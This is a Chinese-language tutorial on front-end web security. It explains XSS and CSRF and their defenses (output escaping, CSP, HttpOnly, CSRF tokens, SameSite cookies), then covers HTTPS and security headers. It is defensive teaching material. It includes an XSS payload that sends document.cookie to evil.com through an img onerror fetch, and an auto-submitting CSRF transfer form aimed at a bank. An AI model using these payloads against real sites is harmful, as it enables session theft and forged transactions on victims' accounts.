为什么前端也要懂安全
安全不只是后端和运维的事。前端直接面对用户输入和浏览器环境,大量真实漏洞恰恰发生在"把不可信数据直接渲染到页面"这一步。只要页面会展示用户提交的内容、URL 参数、第三方接口返回,前端就站在防线上。理解两类最常见的前端漏洞——XSS 与 CSRF,再配上 HTTPS 与安全响应头,就能挡住绝大多数初级攻击。
安全的核心直觉只有一条:永远不要相信任何输入,无论是来自用户、URL 还是第三方接口。
- XSS把恶意脚本注入页面,在受害者浏览器里执行。
- CSRF冒用已登录用户的身份,在他不知情时发起请求。
- HTTPS加密传输,防止中间人窃听与篡改。
- 响应头用 CSP、SameSite 等策略给页面加护栏。
XSS:让脚本在别人浏览器里跑
XSS(跨站脚本)的本质是:攻击者把一段恶意脚本混进页面,当其他用户打开这个页面时,脚本在他们的浏览器里执行。比如一个评论区,如果直接把用户填的内容塞进 HTML,攻击者留言一段 <script>窃取 Cookie</script>,之后每个看到这条评论的人都会中招。
// 危险写法:用户输入被原样拼进页面
document.getElementById("comment").innerHTML = userInput;
// 假如 userInput 是:
// <img src=x onerror="fetch('//evil.com/?c='+document.cookie)">
// 图片加载失败时,onerror 里的脚本就把 Cookie 发走了
XSS 能做的远比显示弹窗严重:偷取登录态、冒充用户操作、篡改页面内容。它分两类:存储型(恶意脚本被存进数据库,长期危害所有访客)最危险;反射型(恶意脚本藏在 URL 参数里,诱导用户点一次)次之。
XSS 的防护:转义、CSP 与 HttpOnly
防线有三层,缺一不可。第一层是输出转义:把 <、>、&、引号等特殊字符转成实体,让浏览器把它们当文本而不是代码渲染。现代框架(React、Vue)默认对插值做转义,风险大降;自己拼 HTML 时则要格外小心,尽量不用 innerHTML 塞不可信数据。
第二层是内容安全策略 CSP:通过响应头告诉浏览器"只允许加载同源脚本、禁止内联脚本",即使有人注入了脚本,浏览器也拒绝执行。第三层是 Cookie 加 HttpOnly:让登录 Cookie 无法被 JavaScript 读取,这样脚本就算被注入也偷不走登录态。
CSRF:借你的身份发请求
CSRF(跨站请求伪造)利用的是浏览器的一个默认行为:你登录了某网站之后,浏览器会自动在后续请求里带上你的 Cookie。攻击者只要诱导你在登录状态下访问他的页面,那个页面里藏一个自动提交的表单,指向"转账"或"改密码"接口,浏览器就会带着你的 Cookie 把请求发出去,服务端以为是你本人操作。
<!-- 攻击者页面里藏的内容 -->
<form action="https://bank.example/transfer" method="POST">
<input name="to" value="hacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
和 XSS 的区别在于:XSS 是把别人的脚本塞进你的站点执行;CSRF 是借你的登录身份去调用你的接口。
CSRF 的防护:Token 与 SameSite
核心思路是:让攻击者伪造的请求拿不到一个只有你站点才知道的秘密。最经典的办法是 CSRF Token:服务端给页面下发一个随机令牌,提交请求时必须带上它;跨站页面拿不到这个令牌,请求就被拒绝。
更省事的现代手段是给 Cookie 设置 SameSite 属性:设为 Lax 或 Strict 后,跨站发起的请求不会自动带上 Cookie,CSRF 立刻失效。再配合校验请求的 Origin 或 Referer 头,基本能挡住这类攻击。
HTTPS 与常用安全响应头
HTTPS 在传输层解决"窃听与篡改":它把通信加密,中间人看不到明文,也无法中途替换内容。全站 HTTPS 是底线,并且要用 Strict-Transport-Security 响应头强制浏览器以后只走 HTTPS,防止用户被降级到明文。
除了 CSP,常用的安全响应头还有:X-Content-Type-Options: nosniff 阻止浏览器猜测文件类型;X-Frame-Options 禁止页面被塞进 iframe,防止点击劫持;Referrer-Policy 控制跳转时带出多少来源信息。这些头大多由后端或网关统一下发,前端无需手写,但要知道它们各自在防什么。
小结与安全清单
Web 安全不是学一次就完事的学科,但前端日常开发守住这几条,就能避开绝大多数坑:
- 渲染不可信输入一律转义,少用 innerHTML 拼接用户内容。
- 登录 Cookie 设置 HttpOnly 与 SameSite。
- 写操作接口校验 CSRF Token 或校验 Origin。
- 全站 HTTPS,配置 CSP 等安全响应头。
- 第三方引入的脚本与链接一律校验来源,不用就别引。
把"不相信任何输入"当成肌肉记忆,安全就不再是事后补救,而是写代码时的自然习惯。